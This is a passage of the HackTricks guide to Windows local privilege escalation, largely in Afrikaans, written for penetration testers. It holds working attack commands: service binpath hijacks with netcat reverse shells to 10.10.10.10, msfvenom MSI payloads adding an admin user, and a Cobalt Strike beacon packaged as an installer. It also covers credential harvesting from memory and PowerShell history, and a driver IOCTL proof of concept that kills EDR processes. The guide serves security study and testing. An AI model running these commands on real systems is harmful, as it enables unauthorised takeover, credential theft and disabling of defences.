Windows Local Privilege Escalation
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Best tool to look for Windows local privilege escalation vectors: WinPEAS
Inleidende Windows-teorie
Access Tokens
As jy nie weet wat Windows Access Tokens is nie, lees die volgende bladsy voordat jy aanhou:
ACLs - DACLs/SACLs/ACEs
Kyk na die volgende bladsy vir meer inligting oor ACLs - DACLs/SACLs/ACEs:
Integrity Levels
As jy nie weet wat Integrity Levels in Windows is nie, moet jy die volgende bladsy lees voordat jy aanhou:
Windows Security Controls
Daar is verskillende dinge in Windows wat jou kan verhoed om die stelsel te enumereer, om uitvoerbare lĂȘers te laat loop, of selfs jou aktiwiteite te ontdek. Jy moet die volgende bladsy lees en al hierdie verdedigings meganismes enumereer voordat jy met die privilege escalation enumeration begin:
System Info
Version info enumeration
Kyk of die Windows-weergawe enige bekende kwetsbaarheid het (kontroleer ook watter patches toegepas is).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Weergawe Exploits
Hierdie site is handig om gedetailleerde inligting oor Microsoft-sekuriteitskwetsbaarhede te vind. Hierdie databasis het meer as 4,700 sekuriteitskwetsbaarhede, wat die massiewe aanval-oppervlak toon wat ân Windows-omgewing bied.
Op die stelsel
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas het watson ingebed)
Lokaal met stelsel-inligting
Github repos van exploits:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
Omgewing
Is daar enige credential/Juicy info in die env variables gestoor?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell Geskiedenis
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell transkripsielĂȘers
Jy kan leer hoe om dit aan te skakel by https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
Besonderhede van PowerShell-pyplynuitvoerings word aangeteken, insluitend uitgevoerde opdragte, opdragaanroepe en dele van skripte. Volledige uitvoeringbesonderhede en uitsetresultate word egter dalk nie vasgelĂȘ nie.
Om dit te aktiveer, volg die instruksies in die âTranskripsielĂȘersâ afdeling van die dokumentasie, en kies âModule Loggingâ in plaas van âPowershell Transcriptionâ.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
Om die laaste 15 gebeure uit die Powershell logs te sien, kan jy die volgende uitvoer:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
ân Volledige aktiwiteits- en inhoudsregister van die skrip se uitvoering word vasgelĂȘ, wat verseker dat elke blok kode gedokumenteer word terwyl dit loop. Hierdie proses bewaar ân omvattende ouditbaan van elke aktiwiteit, waardevol vir forensiek en die ontleding van kwaadwillige gedrag. Deur alle aktiwiteite tydens uitvoering te dokumenteer, word gedetailleerde insigte in die proses verskaf.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Loggebeurtenisse vir die Script Block kan binne die Windows Event Viewer gevind word by die pad: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Om die laaste 20 gebeure te sien, kan jy gebruik:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
Internetinstellings
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Skywe
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
Jy kan die stelsel kompromiteer as die opdaterings nie versoek word met httpS maar met http nie.
Begin deur te kontroleer of die netwerk ân non-SSL WSUS-opdatering gebruik deur die volgende in cmd te hardloop:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
Of die volgende in PowerShell:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
As jy ân antwoord kry soos een van hierdie:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
En as HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer of Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" gelyk is aan 1.
Dan, is dit uitbuitbaar. As die laaste registerwaarde gelyk is aan 0, sal die WSUS-inskrywing geĂŻgnoreer word.
Om hierdie kwesbaarhede te misbruik kan jy gereedskap soos gebruik: Wsuxploit, pyWSUS - Hierdie is MiTM weaponized exploits scripts om âfakeâ updates in nie-SSL WSUS-verkeer in te inspuit.
Lees die navorsing hier:
WSUS CVE-2020-1013
Read the complete report here.
Basies, dit is die fout wat hierdie bug uitbuit:
If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorerâs settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.
Furthermore, since the WSUS service uses the current userâs settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current userâs certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
Jy kan hierdie kwesbaarheid uitbuit met die gereedskap WSUSpicious (sodra dit bevry is).
Third-Party Auto-Updaters and Agent IPC (local privesc)
Baie enterprise agents openbaar ân localhost IPC-oppervlakte en ân voorregte opdateringskanaal. As enrollment gedwing kan word na ân aanvaller se bediener en die updater ân rogue root CA of swak ondertekenaarkontrole vertrou, kan ân plaaslike gebruiker ân kwaadaardige MSI lewer wat die SYSTEM-diens installeer. Sien ân gegeneraliseerde tegniek (gebaseer op die Netskope stAgentSvc-ketting â CVE-2025-0309) hier:
KrbRelayUp
ân Local privilege escalation kwesbaarheid bestaan in Windows domain omgewings onder spesifieke toestande. Hierdie toestande sluit omgewings in waar LDAP signing is not enforced, gebruikers self-regte het wat hulle toelaat om Resource-Based Constrained Delegation (RBCD) te konfigureer, en die vermoĂ« het om rekenaars binne die domein te skep. Dit is belangrik om te let dat hierdie requirements met standaardinstellings vervul word.
Vind die exploit in https://github.com/Dec0ne/KrbRelayUp
Vir meer inligting oor die vloei van die aanval, sien https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
As hierdie 2 registerwaardes geaktiveer is (waarde is 0x1), kan gebruikers met enige voorreg *.msi-lĂȘers installeer (uitvoer) as NT AUTHORITY\SYSTEM.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
As jy ân meterpreter-sessie het, kan jy hierdie tegniek outomatiseer met die module exploit/windows/local/always_install_elevated
PowerUP
Gebruik die Write-UserAddMSI-opdrag van power-up om binne die huidige gids ân Windows MSI-binĂȘre te skep om voorregte op te skaal. Hierdie script skryf ân voorgekompileerde MSI-installeerder uit wat vir ân gebruiker/groep-toevoeging vra (dus sal jy GIU-toegang nodig hĂȘ):
Write-UserAddMSI
Voer net die geskepte binaire uit om voorregte te verhoog.
MSI Wrapper
Lees hierdie tutorial om te leer hoe om ân MSI wrapper te skep met hierdie tools. Neem kennis dat jy ân â.batâ lĂȘer kan inpak as jy net op command lines wil execute
Skep MSI met WIX
Skep MSI met Visual Studio
- Generate with Cobalt Strike or Metasploit a new Windows EXE TCP payload in
C:\privesc\beacon.exe - Maak Visual Studio oop, kies Create a new project en tik âinstallerâ in die soekboks. Kies die Setup Wizard project en klik Next.
- Gee die projek ân naam, soos AlwaysPrivesc, gebruik
C:\privescvir die ligging, kies place solution and project in the same directory, en klik Create. - Klik aanhoudend Next totdat jy by stap 3 van 4 uitkom (choose files to include). Klik Add en kies die Beacon payload wat jy so pas gegenereer het. Klik dan Finish.
- Merk die AlwaysPrivesc projek in die Solution Explorer en in die Properties, verander TargetPlatform van x86 na x64.
- Daar is ander properties wat jy kan verander, soos die Author en Manufacturer wat die geĂŻnstalleerde app meer eg kan laat lyk.
- Regsklik die projek en kies View > Custom Actions.
- Regsklik Install en kies Add Custom Action.
- Dubbelklik op Application Folder, kies jou beacon.exe file en klik OK. Dit sal verseker dat die beacon payload uitgevoer word sodra die installer loop.
- Onder die Custom Action Properties, verander Run64Bit na True.
- Laastens, build dit.
- As die waarskuwing
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'verskyn, maak seker jy stel die platform op x64.
MSI Installasie
Om die installasie van die kwaadwillige .msi file in die agtergrond uit te voer:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
Om hierdie kwesbaarheid te misbruik, kan jy gebruik: exploit/windows/local/always_install_elevated
Antivirus en detektore
Ouditinstellings
Hierdie instellings bepaal wat gerekord word, dus moet jy aandag skenk
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding, is interessant om te weet waarheen die logs gestuur word
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS is ontwerp vir die bestuur van lokale Administrator-wagwoorde, wat verseker dat elke wagwoord uniek, ewekansig en gereeld bygewerk word op rekenaars wat aan ân domein gekoppel is. Hierdie wagwoorde word veilig gestoor in Active Directory en kan slegs deur gebruikers geraadpleeg word wat via ACLs voldoende regte toegeken is, sodat hulle, indien gemagtig, lokale admin-wagwoorde kan besigtig.
WDigest
As dit aktief is, word plain-text passwords in LSASS gestoor (Local Security Authority Subsystem Service).
More info about WDigest in this page.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
Vanaf Windows 8.1 het Microsoft verbeterde beskerming vir die Plaaslike Sekuriteitsowerheid (LSA) ingestel om pogings deur onbetroubare prosesse te blokkeer om sy geheue te lees of kode te injekteer, waardeur die stelsel verder beveilig word.
More info about LSA Protection here.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard is bekendgestel in Windows 10. Die doel daarvan is om die credentials wat op ân toestel gestoor is, te beskerm teen bedreigings soos pass-the-hash attacks.| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Cached Credentials
Domain credentials word geauthentiseer deur die Local Security Authority (LSA) en deur bedryfstelselkomponente gebruik. Wanneer ân gebruiker se aanmelddata deur ân geregistreerde sekuriteitspakket geauthentiseer word, word domain credentials vir die gebruiker gewoonlik geskep.
More info about Cached Credentials here.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
Gebruikers & Groepe
Lys Gebruikers & Groepe
Jy moet nagaan of enige van die groepe waarvan jy ân lid is, interessante toestemmings het.
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Geprivilegieerde groepe
As jy tot ân geprivilegieerde groep behoort, kan jy dalk bevoegdhede eskaleer. Lees hier oor geprivilegieerde groepe en hoe om hulle te misbruik om bevoegdhede te eskaleer:
Token manipulation
Lees meer oor wat ân token is op hierdie bladsy: Windows Tokens.
Kyk na die volgende bladsy om meer te leer oor interessante tokens en hoe om hulle te misbruik:
Aangemelde gebruikers / Sessies
qwinsta
klist sessions
Tuismappe
dir C:\Users
Get-ChildItem C:\Users
Wagwoordbeleid
net accounts
Haal die inhoud van die knipbord
powershell -command "Get-Clipboard"
Lopende Prosesse
LĂȘer- en gidspermissies
Eerstens, wanneer jy die prosesse lys, kyk vir wagwoorde binne die opdragreël van die proses.
Kontroleer of jy ân lopende binary kan oorskryf, of dat jy skryfregte op die binary-gids het om moontlike DLL Hijacking attacks te benut:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Kontroleer altyd vir moontlike electron/cef/chromium debuggers wat loop, jy kan dit misbruik om bevoegdhede te verhoog.
Kontroleer die toestemmings van die prosesse se binaries
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
Kontroleer die toegangsregte van die vouers van die proses-binaries (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Memory Password mining
Jy kan ân geheue-dump van ân lopende proses skep met procdump van sysinternals. Dienste soos FTP het die credentials in duidelike teks in die geheue, probeer om die geheue te dump en lees die credentials.
procdump.exe -accepteula -ma <proc_name_tasklist>
Onveilige GUI-apps
Toepassings wat as SYSTEM loop, kan ân gebruiker toelaat om ân CMD te begin of gidse te deurblaai.
Voorbeeld: âWindows Help and Supportâ (Windows + F1), soek na âcommand promptâ, klik op âClick to open Command Promptâ
Dienste
Service Triggers laat Windows ân diens begin wanneer sekere toestande voorkom (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.). Selfs sonder SERVICE_START-regte kan jy dikwels bevoorregte dienste begin deur hul triggers te aktiveer. Sien enumerasie en aktiveringsmetodes hier:
Kry ân lys van dienste:
net start
wmic service list brief
sc query
Get-Service
Permissies
Jy kan sc gebruik om inligting oor ân diens te kry
sc qc <service_name>
Dit word aanbeveel om die binaire accesschk van Sysinternals te hĂȘ om die vereiste voorregvlak vir elke diens te kontroleer.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
Dit word aanbeveel om te kontroleer of âAuthenticated Usersâ enige diens kan wysig:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
Skakel diens in
As jy hierdie fout kry (byvoorbeeld met SSDPSRV):
Sisteemfout 1058 het voorgekom.
Die diens kan nie begin word nie, hetsy omdat dit gedeaktiveer is of omdat dit geen geaktiveerde toestelle daarmee geassosieer is nie.
Jy kan dit inskakel deur
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
Neem in ag dat die diens upnphost van SSDPSRV afhanklik is om te werk (vir XP SP1)
Nog ân ompadoplossing van hierdie probleem is om die volgende uit te voer:
sc.exe config usosvc start= auto
Modify service binary path
In die scenario waar die âAuthenticated usersâ groep SERVICE_ALL_ACCESS op ân service het, is dit moontlik om die service se executable binary te wysig. Om sc te wysig en uit te voer:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
Herbegin diens
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Bevoegdhede kan verhoog word deur verskeie permissies:
- SERVICE_CHANGE_CONFIG: Laat herkonfigurasie van die service-binary toe.
- WRITE_DAC: Maak toestemmingsherkonfigurasie moontlik, wat lei tot die vermoë om service-konfigurasies te verander.
- WRITE_OWNER: Laat eienaarskapverkryging en toestemmingsherkonfigurasie toe.
- GENERIC_WRITE: Erf die vermoë om service-konfigurasies te verander.
- GENERIC_ALL: Erf ook die vermoë om service-konfigurasies te verander.
Vir die opsporing en uitbuiting van hierdie kwesbaarheid kan die exploit/windows/local/service_permissions gebruik word.
Swak permissies op service-binaries
Kontroleer of jy die binaire wat deur ân service uitgevoer word kan wysig of as jy skryfregte op die gids het waar die binaire geleĂ« is (DLL Hijacking).
Jy kan elke binaire wat deur ân service uitgevoer word kry deur wmic te gebruik (nie in system32 nie) en jou toestemmings nagaan met icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
Jy kan ook sc en icacls gebruik:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
Services registry wysig toestemmings
Jy moet nagaan of jy enige service registry kan wysig.
Jy kan jou toestemmings oor ân service registry nagaan deur:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Daar moet nagegaan word of Authenticated Users of NT AUTHORITY\INTERACTIVE FullControl-toestemmings besit. Indien wel, kan die binĂȘre wat deur die diens uitgevoer word, verander word.
Om die Path van die uitgevoerde binĂȘre te verander:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Services registry AppendData/AddSubdirectory permissions
Indien jy hierdie toestemming oor ân registry het beteken dit dat jy sub registries van hierdie een kan skep. In die geval van Windows services is dit voldoende om arbitrĂȘre kode uit te voer:
AppendData/AddSubdirectory permission over service registry
Unquoted Service Paths
Indien die pad na ân executable nie tussen aanhalingstekens is nie, sal Windows probeer om elke einde voor ân spasie uit te voer.
Byvoorbeeld, vir die pad C:\Program Files\Some Folder\Service.exe sal Windows probeer om uit te voer:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Lys alle dienstepaaie sonder aanhalingstekens, uitgesluit dié wat aan ingeboude Windows-dienste behoort:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Jy kan hierdie kwesbaarheid opspoor en uitbuit met metasploit: exploit/windows/local/trusted\_service\_path Jy kan handmatig ân service binary met metasploit skep:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
Herstelaksies
Windows laat gebruikers toe om aksies te spesifiseer wat geneem moet word as ân diens misluk. Hierdie funksie kan gekonfigureer word om na ân binary te verwys. As hierdie binary vervangbaar is, kan privilege escalation moontlik wees. Meer besonderhede is beskikbaar in die official documentation.
Toepassings
GeĂŻnstalleerde toepassings
Kontroleer die toestemmings van die binaries (miskien kan jy een oorskryf en escalate privileges) en van die folders (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Skryfregte
Kontroleer of jy ân config file kan wysig om ân special file te lees, of jy ân binary kan wysig wat deur ân Administrator account uitgevoer gaan word (schedtasks).
Een manier om swak folder/files permissions in die stelsel te vind, is om die volgende te doen:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Voer by opstart uit
Kyk of jy ân registry of binary kan oorskryf wat deur ân ander gebruiker uitgevoer gaan word.
Lees die volgende bladsy om meer te leer oor interessante autoruns locations to escalate privileges:
Privilege Escalation with Autoruns
Drywers
Soek na moontlike drywers van derde partye wat vreemd/kwesbaar is
driverquery
driverquery.exe /fo table
driverquery /SI
As ân driver ân arbitrary kernel read/write primitive blootstel (algemeen in swak ontwerpte IOCTL handlers), kan jy eskaleer deur ân SYSTEM token direk uit kernel geheue te steel. Sien die stapsgewyse tegniek hier:
Arbitrary Kernel Rw Token Theft
Vir race-condition bugs waar die kwetsbare oproep ân attacker-controlled Object Manager path oopmaak, kan doelbewus die lookup vertraag (deur max-length components of deep directory chains te gebruik) die venster van microseconds na tienduisende microseconds rek:
Kernel Race Condition Object Manager Slowdown
Registry hive memory corruption primitives
Moderne hive kwetsbaarhede laat jou toe om deterministiese uitlegte te groom, writable HKLM/HKU descendants misbruik, en metadata corruptie omskakel in kernel paged-pool overflows sonder ân custom driver. Leer die volledige ketting hier:
Windows Registry Hive Exploitation
Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)
Sommige gesigneerde derdeâparty drivers skep hul device object met ân sterk SDDL via IoCreateDeviceSecure maar vergeet om FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics te stel. Sonder hierdie vlag word die secure DACL nie afgedwing wanneer die device geopen word deur ân path wat ân ekstra komponent bevat nie, wat enige onprivilegieerde gebruiker toelaat om ân handle te kry deur ân namespace path soos:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (from a real-world case)
Sodra ân gebruiker die device kan open, kan geprivilegieerde IOCTLs wat deur die driver blootgestel word vir LPE en tampering misbruik word. Voorbeelde van vermoĂ«ns wat in die veld waargeneem is:
- Return full-access handles to arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
- Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks).
- Terminate arbitrary processes, including Protected Process/Light (PP/PPL), allowing AV/EDR kill from user land via kernel.
Minimal PoC pattern (user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
Mitigasies vir ontwikkelaars
- Stel altyd FILE_DEVICE_SECURE_OPEN in wanneer device-objekte geskep word wat deur ân DACL beperk moet word.
- Valideer die oproeperkonteks vir bevoorregte operasies. Voeg PP/PPL-kontroles by voordat prosesbeëindiging of handle-teruggawes toegelaat word.
- Beperk IOCTLs (toegangsmaskers, METHOD_*, invoervalidatie) en oorweeg bemiddelde modelle in plaas van direkte kernel-privileges.
Opsporingsidees vir verdedigers
- Moniteer user-mode-openings van verdagte apparaatname (e.g., \ .\amsdk*) en spesifieke IOCTL-volgordes wat op misbruik dui.
- Dwing Microsoft se bloklys vir kwesbare drivers af (HVCI/WDAC/Smart App Control) en hou jou eie toelaat-/weierlyste by.
PATH DLL Hijacking
As jy skryftoestemmings binne ân gids wat op PATH voorkom het, kan jy moontlik ân DLL wat deur ân proses gelaai word kap en escalate privileges.
Kontroleer die toestemmings van alle gidse binne PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Vir meer inligting oor hoe om hierdie kontrole te misbruik:
Writable Sys Path +Dll Hijacking Privesc
Netwerk
Gedeelde gidse
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
Kontroleer vir ander bekende rekenaars wat hardgekodeer is in die hosts file
type C:\Windows\System32\drivers\etc\hosts
Netwerkkoppelvlakke & DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Oop poorte
Kontroleer vir beperkte dienste van buite af
netstat -ano #Opened ports?
Roeteringstabel
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP Tabel
arp -A
